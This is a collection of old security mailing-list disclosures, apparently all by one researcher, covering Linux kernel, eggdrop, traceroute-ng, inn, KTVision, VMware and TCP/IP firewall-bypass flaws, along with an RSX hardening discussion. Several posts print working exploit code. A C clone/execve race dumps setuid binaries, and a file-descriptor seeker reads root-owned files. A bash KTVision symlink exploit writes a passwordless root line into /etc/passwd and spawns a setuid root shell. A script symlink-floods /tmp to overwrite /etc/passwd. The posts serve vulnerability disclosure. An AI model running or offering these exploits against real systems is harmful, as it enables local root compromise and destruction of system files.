Re: [ MDKSA-2006:116 ] - Updated kernel packages fixes multiple vulnerabilities
[EMAIL PROTECTED] wrote: Prior to 2.6.15, the auto-reap child processes included processes with ptrace attached, leading to a dangling ptrace reference and allowing local users to cause a Denial of Service (crash) (CVE-2005-3784). This information is not fully correct - CVE-2005-3784 leads to an IMMEDIATE root compromise of vulnerable machines. But I'm not going to provide a PoC :-] with best regards Paul Starzetz
Linux 2.4.x execve() file read race vulnerability
Hi people, again it is time to discover a funny bug inside the Linux execve() system call. Details: - While looking at the execve() code I've found the following piece of code (from fs/binfmt_elf.c): static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs) { struct file *interpreter = NULL; /* to shut gcc up */ [...] retval = kernel_read(bprm-file, elf_ex.e_phoff, (char *) elf_phdata, size); if (retval 0) goto out_free_ph; retval = get_unused_fd(); if (retval 0) goto out_free_ph; get_file(bprm-file); fd_install(elf_exec_fileno = retval, bprm-file); So, during the execution of new binary, the opened file descriptor to the executable is put into the file table of the current (the caller of execve()) process. This can be exploited creating a file sharing parent/child pair by means of the clone() syscall and reading the file descriptor from one of them. Further, the check for shared files structure (in compute_creds() from exec.c) is made to late, so even the parent can successfully exit after playing games on that file descriptor and the child (if setuid) is executed under full privileges. I wrote a simple setuid binary dump utility so far, but further implications (due to the complexity of the execve() syscall) may be possible... Lets illustrate the vulnerability: [EMAIL PROTECTED]:~ ls -l /bin/ping -rws--x--x1 root root29680 Oct 25 2001 /bin/ping so the setuid ping binary can be only executed by anyone, but not read. Now we start the suid dumper (while playing with the disk on another console like cat /usr/bin/* /dev/null) : [EMAIL PROTECTED]:~ while true ; do ./suiddmp /bin/ping -c 1 127.0.0.1 ; if test $? -eq 1 ; then exit 1 ; fi; done 2/dev/null | grep -A5 suc and after few seconds: Parent success stating: uid 0 gid 0 mode 104711 inode 9788 size 29680 PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=94 usec --- 127.0.0.1 ping statistics --- [EMAIL PROTECTED]:~ ls -l total 7132 -rwxr-xr-x1 paul users 29680 Jun 26 19:17 suid.dump [...] [EMAIL PROTECTED]:~ ./suid.dump Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination Obviously the setuid binary has been duplicated :-) (but with no setuid flag of course). Source also available at: http://www.starzetz.com/paul/suiddmp.c /ih / * * * Linux 2.4.x suid exec/file read race proof of concept * * by IhaQueR * * * / #include stdio.h #include stdlib.h #include unistd.h #include errno.h #include sched.h #include fcntl.h #include signal.h #include sys/types.h #include sys/stat.h #include asm/page.h void fatal(const char *msg) { printf(\n); if (!errno) { fprintf(stderr, FATAL: %s\n, msg); } else { perror(msg); } printf(\n); fflush(stdout); fflush(stderr); exit(129); } int child(char **av) { int fd; printf(\nChild running pid %d, getpid()); fflush(stdout); usleep(10); execvp(av[0], av + 1); printf(\nFatal child exit\n); fflush(stdout); exit(0); } void exitus(int v) { printf(\nParent terminating (child exited)\n\n); fflush(stdout); exit(129); } void usage(const char *name) { printf(\nSuid exec dumper by IhaQueR\n); printf(\nUSAGE:\t%s executable [args...], name); printf(\n\n); fflush(stdout); exit(0); } int main(int ac, char **av) { int p = 0, fd = 0; struct stat st, st2; if (ac 2) usage(av[0]); av[0] = (char *) strdup(av[1]); av[1] = (char *) basename(av[1]); p = stat(av[0], st2); if (p) fatal(stat); signal(SIGCHLD, exitus); printf(\nParent running pid %d, getpid()); fflush(stdout); __asm__ ( pusha \n movl $0x411, %%ebx \n movl %%esp, %%ecx \n movl $120, %%eax \n int $0x80 \n movl %%eax, %0 \n popa : : m(p) ); if (p 0) fatal(clone); if (!p) child(av); printf(\nParent stat loop); fflush(stdout); while (1) { p = fstat(3, st); if (!p) { if (st.st_ino != st2.st_ino) fatal(opened wrong file!); p = lseek(3, 0, SEEK_SET); if (p == (off_t) - 1) fatal(lseek); fd = open(suid.dump, O_RDWR | O_CREAT |
Linux /proc sensitive information disclosure
Hello, attached a simple prrof of concept for the /proc filesystem disclosing sensitive information. I noticed that opening an entry from /proc/self/ and keeping the file open while executing a setuid binary prevents the opened proc entry from changing the ownership from the initial user to the set-uid value. However I'm not very sure about the impact of this bug (feature), the attached code just reads the environment (which is per default mode 400). The technique can not be applied to /proc/self/mem because the permision checks are made dynamically (the child must be ptraced etc.). This is a sample output of the PoC: [EMAIL PROTECTED]:~/dev/expl ./procex parent executing setuid PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms child reads parent's proc: PWD=/home/paul/.. Content of /proc/32353 ls: /proc/32353/cwd: Permission denied ls: /proc/32353/root: Permission denied ls: /proc/32353/exe: Permission denied -r--r--r--1 root root0 Jun 20 14:47 cmdline lrwxrwxrwx1 root root0 Jun 20 14:47 cwd -r1 paul users 0 Jun 20 14:47 environ [*] lrwxrwxrwx1 root root0 Jun 20 14:47 exe [...] -r--r--r--1 root root0 Jun 20 14:47 status 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms --- 127.0.0.1 ping statistics --- 3 packets transmitted, 3 received, 0% loss, time 1998ms rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms [*] as you can see here the ownership didn't change... /ih / * * * Linux /proc information disclosure PoC * * by IhaQueR * * * / #include stdio.h #include unistd.h #include fcntl.h #include errno.h #include signal.h #include sys/types.h #include sys/mman.h #include sys/ptrace.h #include sys/wait.h #include sys/stat.h #include sys/types.h static char buf[128]; void fatal(const char *msg) { printf(\n); if (!errno) { fprintf(stderr, FATAL: %s\n, msg); } else { perror(msg); } printf(\n); fflush(stdout); fflush(stderr); exit(129); } int main() { int fd, r; char c; sprintf(buf, /proc/%d/environ, getpid()); fd = open(buf, O_RDONLY); if (fd 0) { sprintf(buf, /proc/%d, getpid()); if (fork()) { printf(\nparent executing setuid\n); fflush(stdout); execl(/bin/ping, ping, -c, 3, 127.0.0.1, NULL); fatal(execl); } else { sleep(1); printf(\nchild reads parent's proc:\n); fflush(stdout); while (1) { r = read(fd, c, 1); if (r = 0) break; printf(%c, c); } printf(\n\nContent of %s\n, buf); fflush(stdout); execl(/bin/ls, ls, -l, buf, NULL); } } else fatal(open proc); printf(\n); fflush(stdout); return 0; }
Eggdrop arbitrary connection vulnerability
Hi, there is a serious security problem in the popular eggdrop IRCbot. The hole allows a regular user with enough 'power' (at least power to add new bot records) to use any linked instance of the bot on the botnet as an instant 'proxy'. The following session demonstrates the problem with an out-of-the-box eggdrop 1.6.10: .+bot bighole 127.0.0.1:25 [20:23] #IhaQuer# +bot bighole 127.0.0.1:25 Added bot 'bighole' with address '127.0.0.1:25' and no password. You'll want to add a hostmask if this bot will ever be on any channels that I'm on. [20:23] #IhaQuer# match bighole *** Matching 'bighole': HANDLEPASS NOTES FLAGS LAST bighole no 0 b never (nowhere ) ADDRESS: 127.0.0.1 users: 25, bots: 25 --- Found 1 match. .relay bighole [20:23] #IhaQuer# relay bighole Connecting to bighole @ 127.0.0.1:25 ... (Type *BYE* on a line by itself to abort.) Success! NOW CONNECTED TO RELAY BOT bighole ... (You can type *BYE* to prematurely close the connection.) *** IhaQuer left the party line. 220 server.org ESMTP Postfix HELO blahblah.org 250 server.org MAIL from: blahblah.org 250 Ok rcpt to: [EMAIL PROTECTED] 250 Ok data 354 End data with CRLF.CRLF blah blah . 250 Ok: queued as CFDFC2F012 Obviously an email has been sent by the local postfix bound to the loopback address 127.0.0.1! The impact may depend on the host the bot is running on, including tunneling into internal networks, accessing services bound to the loopback only, bypassing TCP wrappers etc, etc. There is no clean solution so far, for my own I decided to modify the net.c file and add something like: int open_telnet_raw(int sock, char *server, int sport) . . . name.sin_family = AF_INET; name.sin_port = htons(port); +if(port 1024 port != 113) { + putlog(LOG_MISC, *, WARNING attempt to connect to low port %s:%d, server, port); +return -1; + } Hope this helps, thanks to Maciek Kroenke for bringing my attention to this bug, /ih
TracerouteNG - never ending story
Hi everyone, I want to provide some additional information about the recently discovered traceroute-ng flaw. I decided to disclose to details right now because I do not believe that the flaw is easily exploitable. 1) The vulnerablilty. The patch provided by vendors like SuSE is not sufficient. It only closed one of at least 3 different holes. Hole #1 : (closed in the recent patch) -- (gdb) r -P -q 1 -n $(perl -e 'print0x13000')127.0.0.1 Starting program: /usr/sbin/traceroute -P -q 1 -n $(perl -e 'print0x13000')127.0.0.1 (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x400d9634 in strcpy () from /lib/libc.so.6 This is caused by insufficient length checking in the hostname buffer copied from the command line. The buffer is global static so it is located in .bss. The vulnerable code is: #ifdef VMS_CLD av[0] = hostname; #endif to-sin_addr.s_addr = inet_addr(av[0]); if ((int)to-sin_addr.s_addr != -1) { (void) strcpy(hnamebuf, av[0]); hostname = hnamebuf; } else { Hole #2 : - (gdb) r -P -q 1 -n -S -99 -m 0 localhost Starting program: /usr/sbin/traceroute -P -q 1 -n -S -99 -m 0 localhost traceroute to localhost (127.0.0.1), 0 hops max, 40 byte packets (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x08049f3c in strcpy () This comes from an array index overflow in the following code: /* * Enter Spray mode */ spray_target = spray_max = spray_total = 0; spray_min = SPRAYMAX+1; /* For all TTL do */ for (ttl = min_ttl; ttl = max_ttl; ++ttl) { spray_rtn[ttl]=0; for (probe = 0; probe nprobes; ++probe) { send_probe(++seq, ttl); } } Obviously we can write an (int)0 at any 4 bytes aligned memory location! Furthermore, due to a malloc() just right bevore this code (it is not clear where it comes from in the binary - maybe gcc optimization?) we can write the address returned by malloc at any 4bytes alignet memory location as can be seen from the disassembly: 0x8049f2f strcpy+4411:call 0x8048c54 malloc 0x8049f34 strcpy+4416:mov%eax,%edx 0x8049f36 strcpy+4418:mov0xffb0(%ebp),%eax 0x8049f39 strcpy+4421:shl$0x2,%eax 0x8049f3c strcpy+4424:mov%edx,0x8052880(%eax) malloc write 0x8049f42 strcpy+4430:mov0xffb0(%ebp),%esi 0x8049f45 strcpy+4433:xor%edi,%edi 0x8049f47 strcpy+4435:add$0x10,%esp 0x8049f4a strcpy+4438:inc%esi 0x8049f4b strcpy+4439:mov%eax,%ebx 0x8049f4d strcpy+4441:cmp0x804d4cc,%edi 0x8049f53 strcpy+4447:jge0x8049f81 strcpy+4493 0x8049f55 strcpy+4449:mov0x8052880(%ebx),%eax 0x8049f5b strcpy+4455:movl $0x0,(%eax,%edi,4) 0 write For example, by carefully manipulating the -m and -S arguments, we can jump into the memory allocated by malloc(): (gdb) bt #0 0x08049f53 in strcpy () #1 0x40182bd8 in __DTOR_END__ () from /lib/libc.so.6 #2 0x4007d9ed in __libc_start_main () from /lib/libc.so.6 location of 0x4007d9ed : (gdb) x/32xw 0xb280 0xb280: 0x0804dacc 0x0804dbac 0xb2a8 0x4009133b 0xb290: 0x40182bd8 0x4000bcd0 0xb2b8 0xb2d8 0xb2a0: 0x4007d9ed 0x000a 0xb304 0xb330 0xb2b0: 0x0804baa0 0x 0xb2d8 0x4007d9bd printf %d $(( (0xb2a0 - 0x8052880)/4 )) -302075256 (gdb) r -P -q 1 -n -S -302075256 -m -302075256 localhost Starting program: /usr/sbin/traceroute -P -q 1 -n -S -302075256 -m -302075256 localhost traceroute to localhost (127.0.0.1), -302075256 hops max, 40 byte packets (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x08053228 in ?? () (gdb) bt #0 0x08053228 in ?? () (gdb) disass $eip $eip+16 Dump of assembler code from 0x8053228 to 0x8053238: 0x8053228: add%al,(%eax) 0x805322a: add%al,(%eax) 0x805322c: enter $0x1803,$0x40 0x8053230: add%al,(%eax) 0x8053232: add%al,(%eax) 0x8053234: cmp%eax,(%eax) 0x8053236: add%al,(%eax) End of assembler dump. LOL :-) Hole #3: Just run with the following arguments: (gdb) r -P -q 999 -n localhost Starting program: /usr/sbin/traceroute -P -q 999 -n localhost traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...
Ambiguities in TCP/IP - firewall bypassing
1. Abstract --- There are ambiguities in implementations of the TCP/IP suite for various operating systems. Even if this fact has been used since a long time in different software for OS fingerprinting, no real attempt has been made to identify the security impact of the differences in the TCP/IP semantics. We have done some research on the TCP/IP connection open semantics which is of course very important for security of networked systems. We believe that the flaws we have detected have a big impact on design of firewalls and packet filters since an improper implementation can easily lead to serious security problems. 2. Details -- The TCP/IP protocol stack offers a three way handshake for connection oriented communication using the TCP protocol. Basically, a connection can be opened by sending a synchronization packet to a listening service on a particular host. The host will respond with a synchronization acknowledgment packet which in turn must be acknowledged by the requesting host. Then, the connection is considered to be open (at least at the transport layer) and the two hosts may exchange some data. The three way handshake is an essential part of the communication using the TCP protocol. Therefore many packet filter firewalls try to prevent the three way handshake from completion in order to protect an internal/corporate network from being accessed from the outside. Of course, statefull firewalls may have some more sophisticated mechanism. We have found a very ambiguous behavior of TCP/IP implementations while doing some research on the connection request phase. Below you will find the findings about various OSes, however the list should not be considered complete. We have used the NemesisTCP tool [1] to generate the traffic and tcpdump to capture the responses. * The normal behavior (of all OSes) is like this: 14:18:00.595517 192.168.1.184.12345 192.168.1.111.: S 420:420(0) win 512 (DF) [tos 0x18] 14:18:00.595731 192.168.1.111. 192.168.1.184.12345: S 1679763291:1679763291(0) ack 421 win 5840 mss 1460 (DF) The first host sends a SYN packet from port 12345 to a service on port and receives a SYN,ACK * Linux 2.4.19 The examination of the source code of the TCP engine reveals that a TCP connection can be opened by any combination of the TCP flags having the SYN bit set and the ACK bit reset. For example we can open a TCP connection by sending an obviously bogus SYN,RST packet: 14:25:43.97 192.168.1.184.12345 192.168.1.111.: SR 420:420(0) win 512 (DF) [tos 0x18] 14:25:43.889143 192.168.1.111. 192.168.1.184.12345: S 2168208394:2168208394(0) ack 421 win 5840 mss 1460 (DF) or something called 'Christmas packet' having mostly every TCP flag set (except the ACK flag of course): 14:30:46.341732 192.168.1.184.12345 192.168.1.111.: SFRP 420:420(0) win 512 urg 8 (DF) [tos 0x18] 14:30:46.342444 192.168.1.111. 192.168.1.184.12345: S 2492223280:2492223280(0) ack 421 win 5840 mss 1460 (DF) Also SYN,FIN packets works well... * Solaris 5.8 Here we have success by sending SYN,FIN packets: 14:33:24.549246 192.168.1.184.12345 192.168.1.84.: SF 420:420(0) win 512 (DF) [tos 0x18] 14:33:24.549757 192.168.1.84. 192.168.1.184.12345: S 913533039:913533039(0) ack 421 win 24656 mss 1460 (DF) or SYN,FIN,PSH packets with no payload 14:35:14.398346 192.168.1.184.12345 192.168.1.84.: SFP 420:420(0) win 512 (DF) [tos 0x18] 14:35:14.398801 192.168.1.84. 192.168.1.184.12345: S 940377913:940377913(0) ack 421 win 24656 mss 1460 (DF) other combinations don't seem to induce the SynSent state in the TCP/IP stack * FreeBSD 4.5 Here we also have luck with SYN,FIN packets: 14:47:21.558541 192.168.1.184.12345 192.168.1.104.: SF 420:420(0) win 512 (DF) [tos 0x18] 14:47:21.558719 192.168.1.104. 192.168.1.184.12345: S 127436:127436(0) ack 421 win 65535 mss 1460 as well as with other combinations which don't combine the RST and/or ACK flag with SYN: 14:48:11.678246 192.168.1.184.12345 192.168.1.104.: SP 420:420(0) win 512 (DF) [tos 0x18] 14:48:11.678366 192.168.1.104. 192.168.1.184.12345: S 1714046856:1714046856(0) ack 421 win 65535 mss 1460 * Windows NT 4.0 As in the case of BSD we can open connections using any combination of TCP flags as long as we do not set the RST and/or ACK flag (where did they take the code from...hm...): 14:59:46.315126 192.168.1.184.12345 192.168.1.17.: SF 420:420(0) win 512 (DF) [tos 0x18] 14:59:46.315566 192.168.1.17. 192.168.1.184.12345: S 15062452:15062452(0) ack 421 win 8576 mss 1460 (DF) Other OSes than those tested above are expected to behave in a similar manner after obtaining such a discouraging result... 3. Impact - The ambiguities can be used to bypass/tunnel firewalls filtering TCP packets according to the TCP flags set. Especially stateless firewalls simply comparing the flags field with some expected
Re: White paper: Exploiting the Win32 API.
Andrey Kolishak wrote: There is also article of Symeon Xenitellis A New Avenue of Attack: Event-driven system vulnerabilities http://www.isg.rhul.ac.uk/~simos/event_demo/ In fact, the problem is similar to U*ix signals, except that there is no jump-to-address argument for usual. Remember that old ping bug which allowed users to flood the network by sending SIGALRM in some old ping implementations. Maybe reading some manuals about safe signal handling would be a good lecture for Windows developers too: http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/ Section 3.3 especially regards /ih
Re: Interface promiscuity obscurity in Linux
Ricardo Branco wrote: This affects Linux 2.2 and 2.4 Using libpcap to put the interface in promiscuous mode, will cause that ifconfig(8) doesn't show it! This is an old issue (noticed this nearly 2 years ago...) but can be contributed to 'bad' userspace tools. libpcap uses setsockopt(..., SOL_PACKET, PACKET_ADD_MEMBERSHIP, ...) with PACKET_MR_PROMISC to set the interface in promiscuous mode. The interesting thing is that the PF_PACKET sockets are also not reported by netstat. Anyway this should be fixed. /ih
GNU rm fileutils race condition problems on SuSE
Hi, the following issue has been reported to SuSE about 2 months ago: 1. Problem description -- There is an exploitable call to the vulnerable rm -rf command in /etc/cron.daily/aaa_base_clean_core as follows: # # paranoia settings # umask 022 PATH=/sbin:/bin:/usr/sbin:/usr/bin export PATH TMPDIR=/var/tmp/cron.daily.$$ rm -rf $TMPDIR This script is run every day as ROOT even if the user didn't set the DELETE_OLD_CORE variable in /etc/rc.config! 2. Details -- As pointed out by Wojciech Purczynski mailto:[EMAIL PROTECTED] [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] there is a race condition in the GNU 'rm' utility while removing directories recursively. In particular it is possible to create a deply nested directory structure in /tmp, wait for removal of one of the leafs and quickly move the directory root 2 levels up. This will force rm to chdir(..) two levels more than intended, resulting in the removal of the complete file system. An exploit code will not be released, but exploitation is very straightforward, since the race window can be made mostly as big as needed (it is even possible to exploit this vulnerability 'by hand'). One needs to create a directory structure like this: /tmp/cron.daily.PID/root/1/2/3/4/5/6/7/8/.../N /(N+1)/(N+2)/.../2*N . and wait for the removal of the 'N' leaf. This can be easiliy acomplished since the clean_core script is called at a very well defined time (between 0:15:00 and about 0:15:15 every day) - so we can create X of those nested directories, wait until 15:00, get the next pid and begin to move those directories to match the next X pids. Guessing the next pid can be done by reading /proc/stat and evaluating the 'processes' entry (or less elegant by continuous forking :-). 3. Impact --- This vulnerability leads to a denial of service attack on SuSE Linux systems. As far as tested SuSE Linux = 7.3 seems to be vulnerable. The 8.0 release has not been tested yet. /ih
Re: trusting user-supplied data (was Re: FreeBSD Security AdvisoryFreeBSD-SA-02:23.stdio)
Steven M. Bellovin wrote: The list includes, but is not limited to: command-line array environment array open files I don't think there was enough research on open file descriptor problems. For example, I found this small bug while playing yround with crontab on Linux: gcc cronread.c -o cronread export VISUAL=/bin/vi crontab -e :sh escape to shell ./cronread iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/0 dump (y/n) n 0001 iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/1 dump (y/n) n 0002 iz OPENst_uid 24129st_gid 5PATH /dev/pts/15/fd/2 dump (y/n) n 0003 iz OPENst_uid 0st_gid 0PATH /var/spool/cron/deny dump (y/n) y --- DUMPING /var/spool/cron/deny --- guest gast --- 0005 iz OPEN 0006 iz OPEN ls -l /var/spool/cron/deny -rw---1 root root 11 Oct 25 2001 /var/spool/cron/deny So I'm able to read a privileged system file using this technique :- Not necessary to mention the consequences of inheriting such a fd open for writing. More effort must be put to investigate this problem in current Linux/Unix suid/setgid binaries. have fun with the attached source. /ih / * * * insecure FD seeker * * by IhaQueR '2002* * * / #include stdio.h #include unistd.h #include fcntl.h #include sys/types.h #include sys/stat.h #include linux/limits.h #define TMPLEN 1024 void dumpfd(int fd, char *name) { int r; char c=13; r = lseek(fd, 0, SEEK_SET); if(r == (off_t)-1) { perror(lseek); return; } printf(\n--- DUMPING %s ---\n\n, name); do { r = read(fd, c, sizeof(c)); if(r0) { printf(%c, c); } } while(r0); printf(\n\n---); fflush(stdout); } int main() { int i, r, f; uid_t uid; gid_t gid; struct stat st; char buf[TMPLEN]; uid = getuid(); gid = getgid(); for(i=0; iNR_OPEN; i++) { r = fstat(i, st); if(!r) { printf(\n%.4d iz OPEN, i); if(st.st_uid != uid || st.st_gid != gid) { printf(\tst_uid %d\tst_gid %d, st.st_uid, st.st_gid); snprintf(buf, sizeof(buf)-1, /proc/%d/fd/%d, getpid(), i); buf[sizeof(buf)-1] = 0; readlink(buf, buf, sizeof(buf)-1); buf[sizeof(buf)-1] = 0; printf(\tPATH %s , buf); printf(\tdump (y/n) ); r = getchar(); if(r == 'y') dumpfd(i, buf); getchar(); } } } printf(\n\n); fflush(stdout); return 0; }
Inn (Inter Net News) security problems
Hi, I found several problems inside the inn (=2.2.3) package as shipped with various Linux distributions. There are several format string coding bugs as well as unsecure open() calls. In particular the inews and the rnews binaries are affected. This may lead to serious security problems if those binaries are installed set-uid and are executable by any user. In the case of inews, obtaining uid news is possible (which can be further used to replace/trojan other system files like the binaries themselves), in the case of rnews, access to probably sensitive inn configuration files seems possible (like inn password hashes etc). The attached archive contains a short proof of concept code for one of the format string bugs (look in the inews.sh script for more details) in the inews binary. The code has been succesfully tested against SuSE 7.0 where inews and rnews are setuid news. Later distributions seems to use another security conecept - the binaries are either only setgid news or are not runnable by ordinary users. The exploitation is technically difficult - it requires a fake NNTP server setup somewhere (the code comes with the tar package). Note: this is NOT a remote exploit. Look at the code for more technical details. The code will create a setuid news shell. Vendors have been noticed more than 5 weeks ago. regards, /ih innexpl.tar.gz Description: Binary data
Re: Tripwire temporary files
Jarno Huuskonen wrote: I found out about the problem when I noticed a temporary file /tmp/twtempa19212 left in /tmp. Out of curiosity I ran the tripwire binary with strace and noticed that temporary files in /tmp are opened without the O_EXCL flag. Here a strace from tripwire 1.2 (Source RPM: tripwire-1.2-223.src.rpm): open(/tmp/twznG1Eud, O_RDWR|O_CREAT|O_TRUNC, 0666) = 4 open(/tmp/twzd9tWqg, O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 open(/tmp/twzzykpkj, O_RDWR|O_CREAT, 0600) = 4 nowhere the current pid is used - instead a 6 byte template appears, which is not really predictable (at least shouldn't be!). Ihq.
Symlinks symlinks...this time KTVision
Hi ppl, the subject already states the problem: there is a symlink follow problem in the (in many distributions suid root) ktvision binary = 0.1.1-271. It is discouraging that nowadays such trivial symlink attacks are still possible. No comment anymore. In order to be complete: a bash script demonstrating this vulnerability is attached below. Ihq. - ktv.sh --- #!/bin/bash link=/home/paul/.kde/share/config linkto=/etc/passwd target=/opt/kde/bin/ktvision echo echo KTVision = 0.1.1-271 local r00t exploit by IhaQueR echo if ! test -u $target ; then echo [-] $target not found exit 1 fi; echo [+] $target found rm -f sush* cat __DUPA__sush.c #include stdio.h main() { setuid(geteuid()); setgid(getegid()); execl(/bin/bash, /bin/bash, NULL); } __DUPA__ echo compiling sush res=$(gcc sush.c -o sush) if test $res != -o ! -x sush ; then echo [-] failed rm sush* ktvback.* exit 2; fi; echo [+] success cp $linkto ktvback.$$ mkdir -p $link rm -f $link/ktvisionrc ln -s $linkto $link/ktvisionrc echo echo -n now running... (ensure that X is up and running) $target /dev/null 21 cpid=$! declare -i cnt declare -i max cnt=0 max=60 while ! test -O $linkto ; do sleep 1; printf %.2d $cnt cnt=$(($cnt+1)) if test $cnt -ge $max ; then echo echo echo [-] FAILED rm sush* ktvback.* exit 2; fi; done; kill -9 $cpid /dev/null 21 rm $link/ktvisionrc echo echo echo [+] SUCCESS, creating sush echo $linkto r00t::0:0:root:/root:/bin/bash echo su r00t -c chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp ktvback.$$ $linkto; chown 0.0 $linkto rm ktvback.* sush.c if ! test -u sush ; then echo hm strange error rm sush* ktvback.* exit 1 fi; echo echo starting ./sush ./sush #!plonk
Re: Announcing RSX - non exec stack/heap module
Crispin Cowan wrote: I presume that what you're doing here is to mark the library pages non-executable, and then make them executable when you get a page fault due to some code trying to make a library call. If so, how do you distinguish between legitmate calls into the library, and bogus calls made by a buffer overflow? No, because there is no exec/noexec flag on x86 architecture - otherwise the whole thing would be trivial. I map a sort of ´zombie´ or ´ghost´ libc into the RSX address space, marking those pages as PROT_NONE. I also map a regular copy of libc at some other location. There are further transition handlers in the gp() and pf() trap code handling the segment transitions between ´normal´ code and ´libc´ code (the mentioned ret/call/jmp emulation routines). ret-into-libc is just a common name for the technique. It is not technically precise. The general case is to change a function return address so that it jumps to code that does exec(sh). The intructions that do this don't have to be in libc, and don't have to be in a library, they can be in the program's main executable body. It's just convenient for the attacker to use libc, because libc necessarily has exec(sh) in it, and most programs link to libc. Ok but I´m talking only about dynamically linked libc. So now assume we doesn't link the libc-plt to the real libc location - Same effect: you deny the attacker access to the libc code body, forcing them to look elsewhere for a fairly common sequence of a half dozen bytes in an executable page. Hm, I´m not convinced that this code is so common. One must look for a sequence similar to mov value, %ebx; mov SYSCALL, %eax; int 0x80; in order to do something dangerous after overflowing a stack buffer. I think that some level of randomization in the libc location and the plt linking code would provide a simple (but not complete) defense against simple jump-into-system()-plt and similar attack. Paul Starzetz.
Re: Announcing RSX - non exec stack/heap module
Crispin Cowan wrote: It is not very hard to mmap the libc code as non-executable are into main memory. After the regular programm code jumps into some libc function, we can check in the gp() handler if the gp fault resulted from jumping into the libc area by a ret (the target address should still be on the stack) or by a regular call/jmp instruction. That's an interesting idea, but the performance penalty will be substantial. You will pay for (at least) two system calls per library call. In early StackGuard research, we experimented with hardware protection methods that imposed 2 syscalls per function call, and the overhead was between 500% and 10,000%, which just isn't realistic for prodution use. Yes and no! I have written such a code for rsx. The overhead is more precisely 1x page fault and 1x general protection fault + the emulation code (jmp/call/ret), which is not equal to 2x syscall + emulation, but indeed of similar magnitude. However it works. Note that a simpler protection (but maybe not so effective) can be done by means of ld.so. What does people mean if they talk about ret-into-libc? I assume we speak about ret-into-plt, where libc is linked to, because this is the only information an attacker can obtain by analyzing the binary. Libc can be mmaped at some random location, right? So now assume we doesn't link the libc-plt to the real libc location - instead we link it to a intermediate random glue code piece. The protection arises from the fact that it is hard to guess the location of this intermediate glue segment (and it is hard to guess the real libc vma too). So the attacker neither easily jump into some offset (skipping the ret checking code) in the glue code, nor directly jump into some real libc function. The addresses of the glue code and libc should change with every execve() and fork() (to prevent binary search...). The glue code does now the similar thing that a pf() or gp() hook would - look at the stack to switch between the cases 1) call from legal .text code into plt or 2) ret from buffer overflow into plt. This again does not protect against ret-into-text where some libc function (via plt) is called. But maybe one can make this harder using another trick. I think this case would also have a clear signature on the stack. (hm what about jumping at libc-call-in-text - 4, 8, ... offset?) Paul.
Re: Announcing RSX - non exec stack/heap module
Thomas Dullien wrote: It would appearat first glance that RSX uses the same technique as PAX. Naturally, the PAX and RSX teams should confer to make a definitive statement on similarities and differences. Just for the record, the technique bears no similarity. PAX provides real, non-executable PAGES on x86 -- RSX remaps the heap segments outside of the code segment limit. To be more precise: RSX does _not_ provide non-exec stack, heap and so on but the 'complement' speak executable code area. The segments which are remapped are _not_ the heap(s), speak data segments, but the code (marked as rx-p) areas. The basic idea while writing RSX was not to provide some heavy artillery but a small, very low penalty kernel module stopping not 100 but maybe 95% of wide spread local remote attacks towards Linux machines. There cannot be a doubt that installing the module to protect few but endangered applications (like sshd, rshd, rpc) improves the system security. sincerely, Paul Starzetz
VMware symlink problems
1. Problem description -- There is symlink vulnerability in the vmware-mount.pl script which comes with lates VMware. 2. Details -- While mounting virtual disk drives using the vmware-mount.pl script, a temporary file named vmware-mount.pl.PID where PID is the current pid of the command will be created in an insecure manner. This allows an attacker to overwrite any local file, if root mounts a VMware's virtual partition (mounting is usually done as root). Example: paul@ps:/tmp id uid=500(paul) gid=100(users) Gruppen=100(users),90(firewall) paul@ps:/tmp ./mpl.sh VMware local /etc/passwd DoS By Ihq. linking /etc/passwd to /tmp [+] please wait for root to run vmware-mount.pl after running vmware-mount.pl: paul@ps:/tmp id uid=500 gid=100(users) Gruppen=100(users),90(firewall) Obviously the passwd file has been overwritten: paul@ps:/tmp cat /etc/passwd Nr Start Size Type Id Sytem -- -- -- -- 1 632096577 BIOS C Win95 FAT32 (LBA) I'm not sure, if it is exploitable for priviledge elevation. 3. Impact - Local file corruption. -- mpl.sh -- #/bin/bash declare -i n declare -i mx n=2 mx=32767 echo echo "VMware local /etc/passwd DoS" echo "By Ihq." echo echo " linking /etc/passwd to /tmp" while test $n -lt $mx ; do ln -s /etc/passwd /tmp/vmware-mount.pl.$n n=$(($n + 1)) done echo "[+] please wait for root to run vmware-mount.pl" echo
Insecure directory handling in KFM file manager
